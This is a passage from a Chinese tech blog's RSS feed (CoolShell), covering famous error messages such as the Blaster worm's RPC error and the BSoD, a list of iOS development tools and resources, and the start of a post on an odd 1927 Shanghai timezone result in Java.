Error</h4>\n<p>这个错误之所以很牛，是因为在2003年的8月份，很多使用Windows的用户都看到了这个错误，其系统被强行重启，重启了以后又收到这个错误，然后又被重启。这个事看上去就像一个正常的Windows的错误（相当正常，因为这样的红叉叉在Windows上看到了N多次了，用户都习惯了），但其实，这个事是有人故意的，这就是那个著名的<a href=\"http://en.wikipedia.org/wiki/Blaster_(computer_worm)\">Blaster worm</a>蠕虫病毒，其利用了Windows DCOM的一个漏洞。</p>\n<figure id=\"attachment_5116\" aria-describedby=\"caption-attachment-5116\" style=\"width: 282px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5116\" title=\"Windows RPC Error\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/Windows-RPC-Error.jpg\" alt=\"\" width=\"282\" height=\"258\" /><figcaption id=\"caption-attachment-5116\" class=\"wp-caption-text\">Windows RPC Error</figcaption></figure>\n<h4>3、Xbox 360 三红错误</h4>\n<p>这个错误又叫RRoD &#8211; Red Ring of Death，在中国地区叫“三红”。微软在推出的游戏主机Xbox360后，众多用户曾向微软方面投诉游戏主机经常出现不同程度的故障，而且概率偏高，有调查显示，早期版本Xbox360返修率高达68% ，而最近的报告指出故障机率还是有33%。过热是游戏配件产品制造商Nyko认为Xbox360主机发生三红灯警告的主要原因，也有人指出因为Xbox 360机能不足所以长期开机超频引致过热。<a href=\"http://www.bloomberg.com/apps/news?pid=newsarchive&amp;sid=aOrvYZ2gPwZk&amp;refer=home\" target=\"_blank\">有报告指出</a>微软花费了超过11.5亿美元在回收及修理出现问题的XBOX 360。</p>\n<figure id=\"attachment_5118\" aria-describedby=\"caption-attachment-5118\" style=\"width: 455px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5118\" title=\"XBox 360 Red Ring of Death\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/XBox-Red-Ring-of-Death.jpg\" alt=\"\" width=\"455\" height=\"341\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/XBox-Red-Ring-of-Death.jpg 455w, https://coolshell.cn/wp-content/uploads/2011/08/XBox-Red-Ring-of-Death-300x224.jpg 300w\" sizes=\"(max-width: 455px) 100vw, 455px\" /><figcaption id=\"caption-attachment-5118\" class=\"wp-caption-text\">XBox 360 Red Ring of Death</figcaption></figure>\n<h4 style=\"text-align: left;\">2、Web上的404错误</h4>\n<p style=\"text-align: left;\">HTTP 404或Not Found错误讯息是HTTP的其中一种“标准回应讯息”（HTTP状态码），此讯息代表客户端在浏览网页时，服务器无法打到用户要请求的资源，所以报错。404是一个你无法避免的错误，因为可能是因为用户或你的开发人员编码里打错连接。所以，很多公司借用这个机会来美化404页面，本站以前也介绍过（如：<a title=\"StackOverflow的404错误页\" href=\"https://coolshell.cn/articles/2529.html\" target=\"_blank\">StackOverflow的404</a>，<a title=\"几个有趣的404错误页面\" href=\"https://coolshell.cn/articles/1826.html\" target=\"_blank\">各式各样的404错</a>），这里还有一个404的一首诗：</p>\n<blockquote>\n<p style=\"text-align: left;\">four oh four<br />\nby mind21_98</p>\n<p>oh what a wonderful tizzy<br />\nwhich was in a fizzy<br />\nhe couldn&#8217;t find the file<br />\nwhich was hiding in the bushes</p>\n<p>push the back button oh traveller<br />\ncontact the owner of the last tavern<br />\nfind out how to get to where you&#8217;re going<br />\nand be on your way</p></blockquote>\n<h4 style=\"text-align: left;\">1、Windows 蓝屏错误</h4>\n<p style=\"text-align: left;\"><a href=\"http://en.wikipedia.org/wiki/Blue_Screen_of_Death\" target=\"_blank\">Blue Screen of Death</a>，缩写为：<strong>BSoD</strong>。这是这个世界最著名的错误了，和Kernel Panic 一样，基本上就是说，内核死翘翘了。在各种场合上我们都能看到这个错误。</p>\n<figure id=\"attachment_5119\" aria-describedby=\"caption-attachment-5119\" style=\"width: 535px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5119\" title=\"北京2008奥林匹克\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/bjolympics.png\" alt=\"\" width=\"535\" height=\"368\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/bjolympics.png 535w, https://coolshell.cn/wp-content/uploads/2011/08/bjolympics-300x206.png 300w\" sizes=\"(max-width: 535px) 100vw, 535px\" /><figcaption id=\"caption-attachment-5119\" class=\"wp-caption-text\">北京2008奥林匹克</figcaption></figure>\n<figure id=\"attachment_5120\" aria-describedby=\"caption-attachment-5120\" style=\"width: 535px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5120\" title=\"飞机场航班显示\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/bsodairport.png\" alt=\"\" width=\"535\" height=\"400\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/bsodairport.png 535w, https://coolshell.cn/wp-content/uploads/2011/08/bsodairport-300x224.png 300w\" sizes=\"(max-width: 535px) 100vw, 535px\" /><figcaption id=\"caption-attachment-5120\" class=\"wp-caption-text\">飞机场航班显示</figcaption></figure>\n<figure id=\"attachment_5121\" aria-describedby=\"caption-attachment-5121\" style=\"width: 535px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5121\" title=\"商场显示屏\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/bsodbay.png\" alt=\"\" width=\"535\" height=\"359\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/bsodbay.png 535w, https://coolshell.cn/wp-content/uploads/2011/08/bsodbay-300x201.png 300w\" sizes=\"(max-width: 535px) 100vw, 535px\" /><figcaption id=\"caption-attachment-5121\" class=\"wp-caption-text\">商场显示屏</figcaption></figure>\n<p>Bill Gates在Win98发布会上的蓝屏遭遇：</p>\n<p><center><embed src=\"http://www.tudou.com/v/eISuBfkMxlo/v.swf\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" wmode=\"opaque\" width=\"480\" height=\"400\"></embed></center></p>\n<p>&nbsp;</p>\n<p>本来文章到这里就可以结束了，上文参考自这里<a href=\"http://technologizer.com/2008/09/18/errormessage\" target=\"_blank\">The 13 Greatest Error Message of All Time</a>。不过，我觉得还有一个错误必然会载入史册。这就是下面的“该页无法显示错误”</p>\n<h4>0、该页无法显示错误</h4>\n<p>这个错误对于中国用户不会陌生。这个错误以前更多的是Connection Reset，N年前你访问很多国外的网站者会遇到Connection Reset错，今天呢，更多的是“Time Out”，因为，关键词匹配太耗性能了，图片和视频的无法使用关键词过滤，所以，还不如直接封了IP，简单而粗暴，今天的Connection Reset更多的是出现在使用Google的搜索，当你搜某些关键词时就出这个错了。</p>\n<figure id=\"attachment_5122\" aria-describedby=\"caption-attachment-5122\" style=\"width: 593px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5122\" title=\"该页无法显示 Connection Reset\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/connection-reset.png\" alt=\"\" width=\"593\" height=\"365\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/08/connection-reset.png 593w, https://coolshell.cn/wp-content/uploads/2011/08/connection-reset-300x184.png 300w\" sizes=\"(max-width: 593px) 100vw, 593px\" /><figcaption id=\"caption-attachment-5122\" class=\"wp-caption-text\">该页无法显示 Connection Reset</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" alt=\"粉丝眼中的操作系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_title\">粉丝眼中的操作系统</a></li><li ><a href=\"https://coolshell.cn/articles/1579.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/operating-systems-150x150.jpg\" alt=\"一张关于操作系统的图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1579.html\" class=\"wp_rp_title\">一张关于操作系统的图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5107.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>47</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>10个必需的iOS开发工具和资源</title>\n\t\t<link>https://coolshell.cn/articles/5089.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5089.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 02 Aug 2011 00:40:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Apple]]></category>\n\t\t<category><![CDATA[iOS]]></category>\n\t\t<category><![CDATA[iPad]]></category>\n\t\t<category><![CDATA[iPhone]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5089</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>界面总不是一件很容易事，尤其是iPhone/iPad的界面，做过iOS开发的程序员，一定会感到开发iPhone/iPad的界面是一件多么不容易的事。下面的文章来...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5089.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5089.html\">10个必需的iOS开发工具和资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>界面总不是一件很容易事，尤其是iPhone/iPad的界面，做过iOS开发的程序员，一定会感到开发iPhone/iPad的界面是一件多么不容易的事。下面的文章来自<a href=\"http://alexefish.com/post/15967480885/10-essential-ios-developer-tools-resources\" target=\"_blank\">10 Essential iOS Developer Tools &amp; Resources</a>，这个文章介绍了十个iOS开发的基础性工具和资源，其一定会很有效地帮你做iOS的开发。（在这里，我再闲扯一句，虽然Android的开发好像整整XML文件界面就出来了，其明显比iOS的开发要容易很多，但是我还是觉得iOS的生命力要强过Android，看看Android今天的应用就知道，有时候入门门槛低不是一些好事，大多数的程序员搞出来的Android代码和软件简直令人作呕，就像不是每个人都能烧得手好菜一样。（“<a title=\"食客还是大厨\" href=\"https://coolshell.cn/articles/3589.html\" target=\"_blank\">食客与大厨</a>”，也许偏激，但值得你我思考），又把蛋扯远了）</p>\n<h4>1. Omnigraffle + Ultimate iPhone Stencil</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/omni.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-293\" title=\"omni\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/omni.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p><a href=\"http://www.omnigroup.com/products/omnigraffle/\" target=\"_blank\">Omnigraffle</a> 是一个很强大的像Microsoft Viso的一个软件，其只能于运行在Mac OS X和iPad平台之上。它曾获得2002年的苹果设计奖。在这里，你可以下载 <a href=\"http://graffletopia.com/stencils/413\" target=\"_blank\">Ultimate iPhone Stencil</a> ，然后使用Omnigraffle 来非常快地制作你的iPhone应用的演示界面。（查看了一下Omnigraffle 的iPad版，真贵，$49.99。作者居然推荐买，TNND，一看就是托）。</p>\n<p><a href=\"http://www.omnigroup.com/products/omnigraffle/\" target=\"_blank\">Omnigraffle Link</a>, <a href=\"http://graffletopia.com/stencils/413\" target=\"_blank\">Ultimate iPhone Stencil Link</a></p>\n<p><span id=\"more-5089\"></span></p>\n<h4>2. Glyphish Icons</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/glphy.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-295\" title=\"glphy\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/glphy.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p>你可能能从上面的这些图标中看到Flipboard 和 Twitter 在iOS上的应用使用了其中的一些图标。是的，这些个小图标对你的开发很有帮助。作者强烈推荐你花$25去购买 <a href=\"http://glyphish.com/\" target=\"_blank\">Glyphish</a> 的Pro版。当然啦，你都能花$99/year开发iOS的程序，你还怕花这区区的25刀？</p>\n<p><a href=\"http://glyphish.com/\" target=\"_blank\">Glypish Link</a></p>\n<h4>3. teehan + lax iPhone 4 GUI PSD</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/teehan.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-296\" title=\"teehan\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/teehan.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p>teehan+lax 是一个加拿大多伦多的代理商。他们经常发布一些他们自己内部用的资源， <a href=\"http://www.teehanlax.com/downloads/iphone-4-guid-psd-retina-display/\" target=\"_blank\">iPhone 4 GUI PSD</a> 就是其中的一个，这是一个PSD资源文件其包括了iPhone 4的UI 视图控制和一般的UI元件。这是免费让你下载的。</p>\n<p><a href=\"http://www.teehanlax.com/blog/iphone-4-gui-psd-retina-display/\" target=\"_blank\">teehan + lax iPhone 4 GUI PSD Link</a></p>\n<h4>4. Stanford University iPhone Development Lectures</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/stanford.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-297\" title=\"stanford\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/stanford.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p>斯坦福大学iPhone开发教程，这可能是iOS开发者的圣经级的课程了，你可以从 iTunes U上下载，当然，国内的各大门户公开课也有这个视频，还有中文字幕。比如网易公开课：<a href=\"http://v.163.com/special/opencourse/iphonekaifa.html\">http://v.163.com/special/opencourse/iphonekaifa.html</a></p>\n<p><a href=\"http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=384233225\" target=\"_blank\">iTunes U Link</a></p>\n<h4>5. 71 Squared</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/71sq.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-298\" title=\"71sq\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/71sq.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p>如果你要搞iPhone的游戏开发，那么你可看看 <a href=\"http://www.71squared.com/iphone-tutorials/\" target=\"_blank\">71 Squared</a> 上的资源和教程，让你从零开始搞iPhone游戏。不知道你有没有听说过 Tiny Wings 这个由 Andreas Illiger 开发的很漂亮的并获得很大成功的游戏？Andreas 就是从这个网站上学习开发的。这个网站的的资源太丰富了，你绝对不能错过。</p>\n<p><a href=\"http://www.71squared.com/iphone-tutorials/\" target=\"_blank\">71 Squared Link</a></p>\n<h4>6. Charles</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/charles.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-302\" title=\"charles\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/charles.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p>如果你想让你的应用发出一个HTTP请求，并通过仿真器来调试，这恐怕是一件很难的事。 <a href=\"http://www.charlesproxy.com/\" target=\"_blank\">Charles</a> 是这样一个工具其强在让你看到所有的和互联网交互的请求。这个无价的工具可以让你节省巨大的时间来debug你的应用。当然，要价$50啊，很不便宜，但是还是那句话，$99刀一年你都花了，你还在乎这点钱？嘿嘿嘿</p>\n<p><a href=\"http://www.charlesproxy.com/\" target=\"_blank\">Charles Link</a></p>\n<h2>7. ASIHTTPRequest</h2>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/asihttp.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-303\" title=\"asihttp\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/asihttp.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p>和 Charles一样， <a href=\"http://allseeing-i.com/ASIHTTPRequest/\" target=\"_blank\">ASIHTTPRequest</a> 也是一个强大的封装其由 CFNetwork API构造。如果你想要从你的iPhone上调用一个Web API，那么 <a href=\"http://allseeing-i.com/ASIHTTPRequest/\" target=\"_blank\">ASIHTTPRequest</a> 一定会省你很多事。这个东西的文档极端的不错，并有成千上万的有用的功能几乎覆盖了所有的事，比如： PUT, DELETE, GET, POST 全都没有问题。</p>\n<p><a href=\"http://allseeing-i.com/ASIHTTPRequest/\" target=\"_blank\">ASIHTTPRequest Link</a></p>\n<h2>8. Stack Overflow</h2>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/stackoverflow2.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-313\" title=\"stackoverflow2\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/stackoverflow2.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p>Stack Overflow 这个东西不用说了吧。我个人认为这是这个世界上最佳的问问题的地方，就算你不问，你就上去查一查，你也能看到一大堆已经有人问过的问题。通过问题来加深认识，是进阶的要做的事。在stakeoverflow面前，什么CSDN，it-pub，等等国内的技术问题解决网站完全不值一题。</p>\n<p><a href=\"http://stackoverflow.com/\" target=\"_blank\">Stack Overflow Link</a></p>\n<h4>9. MBProgressHUD</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/mbprogress.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-307\" title=\"mbprogress\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/mbprogress.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p>MBProgressHUD 是一个用来做没有文档的 UIProgressHUD UIKit 类的替代品。其就是用来显示一个正在下载中的指示器。这个东西很容易使用，并且有很好的文档，你需要几分钟就可以把其集成到你的应用中。你可以到 <a href=\"https://github.com/jdg/MBProgressHUD\" target=\"_blank\">github repository</a>上查看其资料。作者号称其99%的应用都使用了这个东西。</p>\n<p><a href=\"https://github.com/jdg/MBProgressHUD\" target=\"_blank\">MBProgressHUD Link</a></p>\n<h4>10. Apple Documentation</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/iosdev.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-308\" title=\"iosdev\" src=\"https://coolshell.cn/wp-content/uploads/2011/08/iosdev.jpeg\" alt=\"\" width=\"695\" height=\"120\" /></a></p>\n<p>作者说，最后一个资源也是最好的一个，那就是苹果的官方文档 <a href=\"http://developer.apple.com/devcenter/ios/index.action\" target=\"_blank\">Apple Documentation</a>，示例代码，视频，各种类的参考文档，你在开发过程中绝对无法离开它。在你去Stack Overflow和Google的时候，你应该先去看看这个文档。</p>\n<p><a href=\"http://developer.apple.com/devcenter/ios/index.action\" target=\"_blank\">iOS Documentation Link</a></p>\n<p>上面是原作者介绍的一些资源，看起来是给初学者用的，我也是初学者，在<strong>这里想问一下各位熟悉iOS开发的大拿，在这个基础上，你们有没有什么推荐？</strong></p>\n<p><em><strong>&#8212;-更新 2011/8/3，新浪微博上我以前的一个同事给了大家下面的推荐&#8212;-</strong></em></p>\n<p>//<a href=\"http://weibo.com/n/%E6%9D%8E%E6%9D%A8iBabyNote\">@李杨iBabyNote</a>：加上Three20吧，一个非常好的的开源iphone UI library. facebook 用的，品质有保证。 还有tweetero (Open Source Twitter App for iPhone),国内sina/qq微博 API 基本copy twitter. 所以想做iphone上和围脖相关的应用可以参考此代码<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"苹果开发工具Xcode 4 第二预览版\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_title\">苹果开发工具Xcode 4 第二预览版</a></li><li ><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/1-150x150.png\" alt=\"消费者的消费观\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_title\">消费者的消费观</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" alt=\"由苹果的低级Bug想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_title\">由苹果的低级Bug想到的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5089.html\">10个必需的iOS开发工具和资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5089.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>30</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>你确信你了解时间吗？</title>\n\t\t<link>https://coolshell.cn/articles/5075.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5075.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 01 Aug 2011 00:25:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[StackOverflow]]></category>\n\t\t<category><![CDATA[timestamp]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5075</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>你还记得“软件真的好难做”中的那个有意思的例子吗？那个例子告诉我们软件开发中假设可能会是致命的事。今天，我又在StackOverflow上看到一个关于时间的问题...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5075.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5075.html\">你确信你了解时间吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>你还记得“<a title=\"软件真的好难做啊\" href=\"https://coolshell.cn/articles/4811.html\" target=\"_blank\" rel=\"noopener\">软件真的好难做</a>”中的那个有意思的例子吗？那个例子告诉我们软件开发中假设可能会是致命的事。今天，我又在StackOverflow上看到一个关于时间的问题——<a href=\"http://stackoverflow.com/questions/6841333/why-is-subtracting-these-two-times-in-1927-giving-a-strange-result\" target=\"_blank\" rel=\"noopener\">为什么1927年12月31日的午夜时间这么奇怪</a>？提问题的这个人给了下面的一段java代码（我做一些修改，保证让你可以copy过去就可以编译运行）</p>\n<p>我在其中高亮了几行，这个程序就是想比较一下“<span class=\"Apple-style-span\" style=\"font-family: Consolas, Monaco, monospace; font-size: 12px; line-height: 18px; white-space: pre;\">1927-12-31 23:54:07<span class=\"Apple-style-span\" style=\"font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px; white-space: normal;\">”  和  “<span class=\"Apple-style-span\" style=\"font-family: Consolas, Monaco, monospace; font-size: 12px; line-height: 18px; white-space: pre;\">1927-12-31 23:54:08<span class=\"Apple-style-span\" style=\"font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px; white-space: normal;\">” 差几秒，很明显，是差一秒。但是程序的输出却不是这样的。</span></span></span></span></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-highlight=\"8,9,10\">import java.text.SimpleDateFormat;\nimport java.text.ParseException;\nimport java.util.Date;\nimport java.util.TimeZone;\nclass time{\n    public static void main(String[] args) throws ParseException {\n        SimpleDateFormat sf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        sf.setTimeZone(TimeZone.getTimeZone(\"Asia/Shanghai\"));\n        String str3 = \"1927-12-31 23:54:07\";\n        String str4 = \"1927-12-31 23:54:08\";\n        Date sDt3 = sf.parse(str3);\n        Date sDt4 = sf.parse(str4);\n        long ld3 = sDt3.getTime() /1000;\n        long ld4 = sDt4.getTime() /1000;\n        System.out.println(ld3);\n        System.out.println(ld4);\n        System.out.println(ld4-ld3);\n    }\n}</pre>\n<p>&nbsp;</p>\n<p><span 